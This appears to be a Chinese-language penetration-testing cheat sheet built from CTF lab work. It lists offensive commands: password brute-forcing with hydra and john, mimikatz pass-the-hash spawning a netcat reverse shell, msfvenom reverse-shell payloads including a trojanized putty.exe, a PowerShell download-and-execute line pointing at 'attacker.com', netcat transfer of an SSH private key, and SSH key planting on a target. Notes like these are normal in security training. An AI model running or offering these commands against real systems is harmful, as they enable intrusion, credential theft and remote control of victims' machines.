自定义自动校准策略。可多次使用。隐含 -ac -c 为输出着色。(默认值:false) -config 从文件加载配置 -json JSON 输出,打印以换行符分隔的 JSON 记录(默认值:false) -maxtime 整个进程的最大运行时间(秒)。(默认值:0) -maxtime-job 每个作业的最大运行时间(秒)。(默认值:0) -noninteractive 禁用交互式控制台功能(默认值:false) -p 请求之间的“延迟”秒数,或随机延迟范围。例如“0.1”或“0.1-2.0” -rate 每秒请求速率(默认值:0) -s 不打印附加信息(静默模式)(默认值:false) -sa 所有错误情况下停止。隐含 -sf 和 -se。 (默认值:false) -scraperfile 自定义抓取文件路径 -scrapers 活动抓取组(默认值:全部) -se 出现虚假错误时停止(默认值:false) -search 从 ffuf 历史记录中搜索 FFUFHASH 负载 -sf 当超过 95% 的响应返回 403 Forbidden 时停止(默认值:false) -t 并发线程数(默认值:40) -v 详细输出,打印完整 URL 和重定向位置(如果有)以及结果。(默认值:false) 匹配器选项: -mc 匹配 HTTP 状态码,或使用“all”匹配所有内容。(默认值:200-299、301、302、307、401、403、405、500) -ml 匹配响应中的行数 -mmode 匹配器集合运算符。可选:and 或 or(默认:or) -mr 匹配正则表达式 -ms 匹配 HTTP 响应大小 -mt 匹配距第一个响应字节的毫秒数,大于或小于。例如:>100 或 <100 -mw 匹配响应中的字数 过滤选项: -fc 过滤响应中的 HTTP 状态码。以逗号分隔的代码和范围列表 -fl 按响应中的行数过滤。以逗号分隔的行数和范围列表 -fmode 过滤集合运算符。可选:and 或 or(默认:or) -fr 过滤正则表达式 -fs 过滤 HTTP 响应大小。以逗号分隔的大小和范围列表 -ft 按距第一个响应字节的毫秒数过滤,大于或小于。例如:>100 或 <100 -fw 按响应中的字数过滤。以逗号分隔的字数和范围列表 输入选项: -D DirSearch 词表兼容模式。与 -e 标志一起使用。(默认值:false) -e 以逗号分隔的扩展列表。扩展 FUZZ 关键字。 -enc 关键字编码器,例如“FUZZ:urlencode b64encode” -ic 忽略词表注释(默认值:false) -input-cmd 生成输入的命令。使用此输入法时需要 --input-num 参数。覆盖 -w 参数。 -input-num 待测试的输入数量。与 --input-cmd 参数一起使用。(默认值:100) -input-shell 用于运行命令的 Shell。 -mode 多词表操作模式。可用模式:clusterbomb、pitchfork、sniper(默认值:clusterbomb) -request 包含原始 http 请求的文件 -request-proto 与原始请求一起使用的协议(默认值:https) -w 单词列表文件路径和(可选)关键字,以冒号分隔。例如:'/path/to/wordlist:KEYWORD' 输出选项: -debug-log 将所有内部日志写入指定文件。 -o 输出到文件 -od 存储匹配结果的目录路径。 -of 输出文件格式。可用格式:json、ejson、html、md、csv、ecsv(或“all”表示所有格式)(默认值:json) -or 如果没有结果,则不创建输出文件(默认值:false) 示例用法: 从 wordlist.txt 中模糊测试文件路径,匹配所有响应,但过滤掉内容大小为 42 的响应。 彩色详细输出。 ffuf -w wordlist.txt -u https://example.org/FUZZ -mc all -fs 42 -c -v 模糊测试主机头,匹配 HTTP 200 响应。 ffuf -w hosts.txt -u https://example.org/ -H "Host: FUZZ" -mc 200 模糊测试 POST JSON 数据。匹配所有不包含文本“error”的响应。 ffuf -w entrys.txt -u https://example.org/ -X POST -H "Content-Type: application/json" \ -d '{"name": "FUZZ", "anotherkey": "anothervalue"}' -fr "error" 模糊测试多个位置。仅匹配反映“VAL”关键字值的响应。颜色已显示。 ffuf -w params.txt:PARAM -w values.txt:VAL -u https://example.org/?PARAM=VAL -mr "VAL" -c
find 1 2 find / -name "Foo.txt" 2>/dev/null # 查找名为Foo.txt的文件的路径 find / -iname "*foo*txt" 2>/dev/null # 文件名模糊查找
ftp 1 2 3 ftp 10.10.229.201 anonymous #匿名登录用户名
常用操作
1 2 3 4 5 6 7 8 9 10 ftp> ls ftp> ls -lhaftp> pwd ftp> dir ftp> cd /path/to/directory ftp> put local_file ftp> get remote_file ftp> mput *.txt ftp> mget *.pdf ftp> bye
设置传输模式
目录扫描/子域名扫描
1 2 3 4 5 6 7 8 9 10 11 # 目录扫描 gobuster dir -u http://10.10.147.99/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt gobuster dir -u http://cyprusbank.thm/ -w /usr/share/wordlists/dirb/big.txt gobuster dir -u http://10.10.80.155/ -w /usr/share/wordlists/dirb/big.txt -b 403 #忽略403 gobuster vhost -k --domain creative.thm --append-domain -u http://10.10.54.137 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 # 子域名爆破 gobuster fuzz -u "http://beta.creative.thm/" -m POST \ -B 'url=http://127.0.0.1:FUZZ' -w ports.txt \ -H 'Content-Type: application/x-www-form-urlencoded' \ --exclude-length 13 -t 20 # 通过ssrf探测内部可访问端口
hashcat 1 2 3 hashcat -a 0 -m 0 64e39c60d69afe351b48472307add2c5 /usr/share/wordlists/rockyou.txt# -a 0 设置攻击模式为字典攻击 # -m 0 设置破解 MD5 散列的哈希模式
hexeditor 二进制编辑
1 hexeditor -b oneforall.jpg # 打开编辑页面,暂未找到如何覆盖式粘贴
hydra 1 2 3 4 5 6 hydra -l jose -P /usr/share/wordlists/rockyou.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong" -V hydra -l email@company.xyz -P /path/to/wordlist.txt smtp://10.10.x.x # -l 用户名,大写指定字典文件,小写指定字符串 # -P 密码,同上 # -v 详细模式
历史:
1 hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.147.99 http-post-form "/login.php:username=^USER^&password=^PASS^:failed" -V
Patrick
karen
Martin
Impacket psexec 1 2 # 使用 PtH 通过 psexec 连接 psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP
john 1 2 3 4 john --wordlist=clinic.txt --rules=KoreLogic --stdout >> passwords.txt #基于规则生成密码字典 keepass2john dataset.kdbx > dataset.john john dataset.john
将各种文件转换到john格式的命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 # 用法示例 # keepass2john dataset.kdbx > dataset.john # john dataset.john 1password2john 7z2john aruba2john applenotes2john adxcsouf2john androidbackup2john apex2john ansible2john aix2john andotp2john aem2john atmail2john androidfde2john axcrypt2john bitlocker2john bitcoin2john bitshares2john blockchain2john bestcrypt2john bks2john bitwarden2john cracf2john cisco2john ccache2john dmg2john dmg2john diskcryptor2john DPAPImk2john dashlane2john deepsound2john electrum2john ecryptfs2john ejabberd2john ethereum2john enpass2john encfs2john filezilla2john gpg2john geli2john hccap2john hccapx2john htdigest2john iwork2john itunes_backup2john ibmiscanner2john ikescan2john keepass2john keystore2john keychain2john keyring2john kwallet2john kirbi2john krb2john kdcdump2john known_hosts2john lotus2john ldif2john luks2john libreoffice2john lion2john lastpass2john mcafee_epo2john monero2john mozilla2john money2john multibit2john mosquitto2john mac2john neo2john openssl2john openbsd_softraid2john office2john putty2john pfx2john pcap2john prosody2john pgpsda2john pgpdisk2john ps_token2john padlock2john pem2john pwsafe2john pgpwde2john pdf2john pse2john rar2john racf2john restic2john radius2john signal2john sipdump2john sspr2john ssh2john strip2john sap2john sense2john staroffice2john truecrypt2john telegram2john tezos2john uaf2john vncpcap2john vmx2john vdi2john wpapcap2john zip2john zed2john
手册 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 John the Ripper 1.9.0-jumbo-1+bleeding-aec1328d6c 2021-11-02 10:45:52 +0100 OMP [linux-gnu 64 位 x86_64 AVX AC] 版权所有 (c) 1996-2021 Solar Designer 及其他 主页:https://www.openwall.com/john/ 用法:john [OPTIONS] [PASSWORD-FILES] --help 打印使用摘要 --single[=SECTION[,..]] “单一破解”模式,使用默认或命名规则 --single=:rule[,..] 同上,使用“立即破解”规则 --single-seed=WORD[,WORD] 在单一模式下为所有盐添加静态种子词 --single-wordlist=FILE包含静态种子词/词素的*简短*单词表 --single-user-seed=FILE 包含每个用户名的种子词表(用户名:密码[s] 格式) --single-pair-max=N 覆盖最大值。生成的单词对数量 (6) --no-single-pair 禁用单个单词对生成 --[no-]single-retest-guess 覆盖 SingleRetestGuess 的配置 --wordlist[=FILE] --stdin 单词列表模式,从 FILE 或 stdin 读取单词 --pipe 类似 --stdin,但批量读取,并允许规则 --rules[=SECTION[,..]] 启用单词重排规则(用于单词列表或 PRINCE 模式),使用默认或命名规则 --rules=:rule[;..]] 同上,使用“立即生效”规则 --rules-stack=SECTION[,..] 堆叠规则,应用于常规规则之后或不支持规则的模式 --rules-stack=:rule[;..] 同上,使用“立即生效”规则 --rules-skip-nop 跳过任何 NOP ":" 规则(您已运行但未使用规则) --loopback[=FILE] 与 --wordlist 类似,但从 .pot 文件中提取单词 --mem-file-size=SIZE 单词列表预加载的大小阈值(默认 2048 MB) --dupe-suppression 抑制单词列表中的所有重复项(并强制预加载) --incremental[=MODE] “增量”模式 [使用 MODE 部分] --incremental-charcount=N 增量模式下覆盖 CharCount --external=MODE 外部模式或单词过滤器 --mask[=MASK] 使用 MASK 的掩码模式(或 john.conf 中的默认值) --markov[=OPTIONS] “马尔可夫”模式(参见 doc/MARKOV) --mkv-stats=FILE “马尔可夫”统计文件 --prince[=FILE] PRINCE 模式,从 FILE 读取单词 --prince-loopback[=FILE] 从 .pot 文件中提取单词文件 --prince-elem-cnt-min=N 每条链的最小元素数 (1) --prince-elem-cnt-max=[-]N 每条链的最大元素数(负 N 相对于单词长度)(8) --prince-skip=N 初始跳过次数 --prince-limit=N 生成的候选字符数限制 --prince-wl-dist-len 计算单词表的长度分布 --prince-wl-max=N 仅从输入单词表中加载 N 个单词 --prince-case-permute 首字母大小写置换 --prince-mmap 内存映射文件(大小写置换不可用) --prince-keyspace 仅显示将生成的总键空间 (忽略跳过次数和限制) --subsets[=CHARSET] “子集”模式(参见 doc/SUBSETS) --subsets-required=N “子集”字符集的前 N 个字符是 “必需集” --subsets-min-diff=N 子集中的最小唯一字符数 --subsets-max-diff=[-]N 子集中的最大唯一字符数(负 N 相对于字长) --subsets-prefer-short 优先选择较短的候选字符,而不是较小的子集 --subsets-prefer-small 优先选择较小的子集,而不是较短的候选字符 --make-charset=FILE 创建一个字符集,FILE 将被覆盖 --stdout[=LENGTH] 仅输出候选密码 [截取长度] --session=NAME 为新会话指定 NAME --status[=NAME] 打印会话状态 [名为 NAME] --restore[=NAME] 恢复中断的会话 [名为 NAME] --[no-]crack-status 每当密码被破解时发出状态行 --progress-every=N 每 N 秒发出一次状态行 --show[=left] 显示已破解密码 [如果 =left,则表示未破解] --show=formats 显示文件中哈希值的信息 (JSON) --show=invalid 显示对所选格式无效的行 --test[=TIME] 每次运行测试和基准测试,每次持续 TIME 秒 (如果 TIME 明确为 0,则测试不进行基准测试) --stress-test[=TIME] 永久循环自检 --test-full=LEVEL 运行更彻底的自检 --no-mask 与 --test 一起使用,用于不带 mask 的备用基准测试 --skip-self-tests 跳过自检 --users=[-]LOGIN|UID[,..] 仅加载此(这些)用户 --groups=[-]GID[,..] 仅加载不属于此(这些)组的用户 --shells=[-]SHELL[,..] 仅加载使用此(这些)shell 的用户 --salts=[-]COUNT[:MAX] 加载包含 COUNT 个哈希值的 salt,或者 --salts=#M[-N] 加载 M 个(到 N 个)最多的 salt --costs=[-]C[:M][,...] 加载包含成本值 Cn 的 salt [到 Mn]。有关 可调成本参数,请参阅 doc/OPTIONS --fork=N 分支 N 个进程 --node=MIN[-MAX]/TOTAL 此节点的数量范围超出 TOTAL 数量 --save-memory=LEVEL 启用内存节省,级别 1..3 --log-stderr 记录到屏幕而不是文件 --verbosity=N 更改详细程度(1-5 或 6 用于调试,默认 3) --no-log 禁用创建和写入 john.log 文件 --bare-always-valid=Y 将裸哈希视为有效(Y/N) --catch-up=NAME 追赶现有(已暂停)会话 NAME --config=FILE 使用 FILE 而不是 john.conf 或 john.ini --encoding=NAME 输入编码(例如 UTF-8、ISO-8859-1)。另请参阅 doc/ENCODINGS。 --input-encoding=NAME 输入编码(--encoding 的别名) --internal-codepage=NAME 规则/掩码中使用的代码页(参见 doc/ENCODINGS) --target-encoding=NAME 输出编码(用于 format) --force-tty 设置终端读取按键,即使我们不是前台进程 --field-separator-char=C 在输入和 pot 文件中使用 'C' 代替 ':' --[no-]keep-guessing 尝试查找明文冲突 --list=WHAT 列出功能,参见 --list=help 或 doc/OPTIONS --length=N --min-len=N --max-len=N 的快捷方式 --min-length=N 请求最小候选长度(以字节为单位) --max-length=N 请求最大候选长度(以字节为单位) --max-candidates=[-]N 尝试了这么多候选字符后优雅退出。 (如果为负数,则每次破解时重置计数) --max-run-time=[-]N 在指定秒数后优雅退出(如果为负数,则每次破解时重置计时器) --mkpc=N 请求降低每次加密的最大密钥数量 --no-loader-dupecheck 加载哈希值时禁用重复检查 --pot=NAME 使用的 Pot 文件 --regen-lost-salts=N 暴力破解未知盐值(参见 doc/OPTIONS) --reject-printable 拒绝可打印的二进制文件 --tune=HOW 调整选项 (auto/report/N) --subformat=FORMAT 为 --format=crypt 选择基准格式 --format=[NAME|CLASS][,..] 强制使用 NAME 类型的哈希值。支持的格式可以通过 --list=formats 和 --list=subformats 查看。 有关更高级的格式选择,包括使用类和通配符,另请参阅 doc/OPTIONS。
keepassxc-cli KeePass数据库命令行管理工具
1 2 3 4 5 6 7 keepassxc-cli open dataset.kdbx # 打开dataset.kdbx数据库文件,可能要输入密码# 内部操作 dataset.kdbx> ls # 列出当前路径下的条目 dataset.kdbx> ls -R # 递归列出所有子目录中的条目 dataset.kdbx> show --all /user:password # 查看指定条目的详细信息,显示条目所有字段(包括 UUID、备注等隐藏属性) dataset.kdbx> show --all --show-protected /user:password # 查看指定条目的详细信息,显示条目所有字段(包括 UUID、备注等隐藏属性),强制显示被保护字段
mimikatz 凭证提取工具
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 mimikatz mimikatz mimikatz mimikatz mimikatz mimikatz mimikatz mimikatz mimikatz mimikatz sekurlsa::pth /user:t1_toby.beck /domain:ZA.TRYHACKME.COM /aes256:6 a0d48f79acaec013d928d84a102b72028d574340b6139e876e179db48fbde4e /run:"c:\tools\nc64.exe -e cmd.exe 10.50.77.76 5555"
mosquitto Mosquitto 是一个开源的消息代理,它实现了 MQTT(消息队列遥测传输)协议,该协议在物联网(IoT)应用中广泛使用,用于轻量级和高效的消息传递。
MQTT 代表消息队列遥测传输。它是一种轻量级消息协议,适用于客户端需要小代码占用和连接到不可靠网络或带宽资源有限网络的情况。
mosquitto_sub :订阅
mosquitto_pub :发送
1 2 3 4 5 6 7 8 9 10 11 12 13 # 这里两个主题是对应的 # 订阅 mosquitto_sub -h 10.10.153.136 -t "#" -v # 订阅所有主题并接收详细信息,从这里拿到两个对应的主题 mosquitto_sub -h 10.10.153.136 -t "U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub" # 订阅指定主题# 发送 # {"id" : "1" , "cmd" : "CMD" , "arg" : "ls" } mosquitto_pub -h 10.10.153.136 -t "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub" -m eyJpZCI6ICIxIiwgImNtZCI6ICJDTUQiLCAiYXJnIjogImxzIn0= -h [IP] 指定您想要连接的 MQTT 代理的主机名或 IP 地址。将 [IP] 替换为代理的实际 IP 地址或主机名。 -t "#" 订阅 # 主题,这是一个通配符,匹配所有主题。这意味着您将接收到发布到任何主题的消息。 -v 启用详细输出,包括输出中的主题和消息有效负载。没有此标志,仅显示消息有效负载。 -m 发送消息
msf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 search CVE-2013-2251 use 1 set TARGETURI /struts2-blank/example/HelloWorld.action set RHOSTS www.rbq.com set RPORT 80 use exploit/multi/handler # 接收反向shell background # 将会话放在后台 sessions -l # (查看会话) sessions -i 2 # 选择会话 sessions -k 2 # 结束会话 use post/multi/recon/local_exploit_suggester # 后渗透模块
msfvenom 1 2 3 4 5 6 7 msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe msfvenom -p windows/x64/meterpreter/reverse_tcp LH0ST=10.2.26.216 LPORT=4444 -f exe-o reverse.exe # 创建一个分阶段的有效载荷 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.2.26.216 LPORT=4444 -f elf > reverse.elf # 创建一个分阶段的有效载荷# 创建msi马 msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f msi -o evil.msi
nc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 [v1.10-50] 连接到某个位置:nc [-options] 主机名 端口 [端口] ... 监听入站:nc -l -p 端口 [-options] [主机名] [端口] 选项: -c shell 命令为 `-e';使用 /bin/sh 执行 [危险!!] -e filename 连接后执行的程序 [危险!!] -b 允许广播 -g 网关 源路由跳点,最多 8 个 -G num 源路由指针:4、8、12…… -h 冗余信息 -i 秒 发送线路和扫描端口的延迟间隔 -k 设置套接字的 keepalive 选项 -l 监听模式,用于入站连接 -n 纯数字 IP 地址,不使用 DNS -o 十六进制流量转储文件 -p port 本地端口号 -r 随机化本地和远程端口 -q 秒 在标准输入结束符 (EOF) 后退出,延迟秒数 -s addr 本地源地址 -T tos 设置服务类型 -t 应答 TELNET 协商 -u UDP 模式 -v 详细 [使用两次可显示更详细的信息] -w 秒 连接和最终网络读取的超时时间 -C 将 CRLF 发送为行结束符 -z 零 I/O 模式 [用于扫描] 端口号可以是单个端口号,也可以是范围:低-高 [含]; 端口名称中的连字符必须使用反斜杠转义(例如 'ftp\-data')。
文件传输 传输过程没有回显,可通过对比文件大小简单确认是否传输成功
1 2 3 4 5 6 7 # 接收端准备 nc -l -p 54321 > received_file # 使用54321端口监听并保存数据 nc -l -p 54321 > id_rsa# 发送端传输 nc 192.168.1.100 54321 < /path/to/source_file nc 10.2.26.216 54321 < id_rsa # 例
nikto
powershell 1 2 3 4 5 6 7 powershell -ep bypass IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/Privesc.ps1' ) Invoke-WebRequest -Uri http://10.2 .26.216 :8000 /evil.msi -OutFile evil.msi; Start-Process evil.msi -Wait
proxychains4 1 proxychains4 -q bash # 以静默模式打开一个新的bash会话
python 1 python3 -m http.server 8000
runetd 端口转发工具
1 2 3 4 5 6 7 8 9 # 在/etc/rinetd.conf中设置 绑定地址 绑定端口 目标地址 目标端口 0.0.0.0 8080 192.168.1.100 80 # 启动 rinetd# 停止 systemctl stop rinetd
rustscan 1 2 rustscan -a 10.10.153.136 rustscan -a 10.10.120.252 -r1-65535 -b 500 # 扫描所有端口,并发500
scp 通过ssh在不同主机上复制文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 scp [选项] 源文件 目标文件# 复制文件到远程主机 scp /path/to/local/file username@remotehost:/path/to/remote/directory# 从远程主机复制文件到本地 scp username@remotehost:/path/to/remote/file /path/to/local/directory -i identity_file:使用指定的私钥文件进行认证。 -P port:指定远程主机的SSH端口。 -p:保留文件的最后访问和修改时间,以及权限。 -q:不显示传输进度指示器。 -r:递归复制整个目录。 -v:详细模式,显示详细的传输过程信息。
从远程服务器恢复 .git 文件夹的简单工具
1 scrabble http://example.com/
脚本代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 #!/bin/bash function downloadBlob { echo downloadBlob $1 mkdir -p ${1:0:2} cd $_ wget -q -nc $domain /.git/objects/${1:0:2} /${1:2} cd .. }function parseTree { echo parseTree $1 downloadBlob $1 while read line do type =$(echo $line | awk '{print $2}' ) hash =$(echo $line | awk '{print $3}' ) [ "$type " = "tree" ] && parseTree $hash || downloadBlob $hash done < <(git cat-file -p $1 ) }function parseCommit { echo parseCommit $1 downloadBlob $1 tree=$(git cat-file -p $1 | sed -n '1p' | awk '{print $2}' ) parseTree $tree parent=$(git cat-file -p $1 | sed -n '2p' | awk '{print $2}' ) [ ${#parent} -eq 40 ] && parseCommit $parent } [ -z $1 ] && echo -e "missing target url\n\n\ Usage: scrabble <url>\n\ Example: scrabble http://example.com/\n\n\ You need make sure target url had .git folder" \ && exit domain=$1 ref=$(curl -s $domain /.git/HEAD | awk '{print $2}' ) lastHash=$(curl -s $domain /.git/$ref ) git initcd .git/objects/ parseCommit $lastHash cd ../../echo $lastHash > .git/refs/heads/master git reset --hard
searchsploit 1 searchsploit wordpress # 搜索包含关键字wordpress的漏洞
showmount 显示nfs服务器的挂载信息
1 2 3 4 5 6 7 8 showmount -e 10.10.229.201 # 显示nfs服务器的挂载信息 mount -t nfs 10.10.229.201:/mnt/share share # 尝试将nfs服务器共享目录挂载到本地share文件夹# NFS 缺乏身份验证和授权。通过创建具有 UID/GID 1003 (取决于挂载文件的信息,用`ls -lha`查看)的本地用户,可伪装NFS共享所有者并获得了其权限 sudo useradd hijack sudo usermod -u 1003 hijack sudo groupmod -g 1003 hijack
smbclient 1 2 # 上传文件 smbclient -c 'put myinstaller.msi' -U t1_corine.waters -W ZA '//thmiis.za.tryhackme.com/admin$/' Korine.1994
socat 端口转发
1 socat TCP4-LISTEN:60001,fork TCP4:10.10.51.201:80
ssh 1 2 3 ssh -D 0.0.0.0:1080 -Nf root@103.199.16.14 # 隧道代理 ssh -i saad_ssh_key saad@10.10.54.137 # 指定私钥ssh登录靶机
ssh2john 将 SSH私钥 转换为 John兼容格式
1 2 ssh2john saad_ssh_key > hash # 将私钥转换为哈希文件 john --wordlist=/usr/share/wordlists/rockyou.txt hash # 爆破
ssh-keygen 1 2 3 4 5 ssh-keygen -t rsa # 生成一对rsa密钥 ssh-keygen -f id_ed25519 -t ed25519 # 这个也行 chmod 600 id_rsa # 设置私钥仅限所有者访问,这步不能少 echo 'YOUR SSH PUBLIC KEY' > /home/comte/.ssh/authorized_keys # 将公钥写入靶机ssh配置 ssh -i id_rsa comte@10.10.236.146 # 本机ssh登录靶机
steghide 从文件中提取隐藏数据
1 steghide extract -sf oneforall.jpg
strings 从二进制文件(如可执行文件、库文件、图片文件等)中提取可打印的字符串
1 2 3 strings [选项] 文件名 strings valleyAuthenticator|grep -i UPX # 测试UPX壳
tar 1 2 tar -czvf backup.tar.gz files/ tar -czvf backup.tar.gz file.php update.sh
tscon windows自带
用于rdp劫持
whatweb 指纹识别
1 whatweb http:// 192.168 .152.130 /spip/
which
wget 1 2 wget -P /tmp http://10.2.26.216:8000/linpeas.sh wget -P /tmp http://10.2.26.216:8000/pspy64
xfreerdp linux开源rdp工具
1 2 # 使用 PtH 连接到 RDP xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH
zip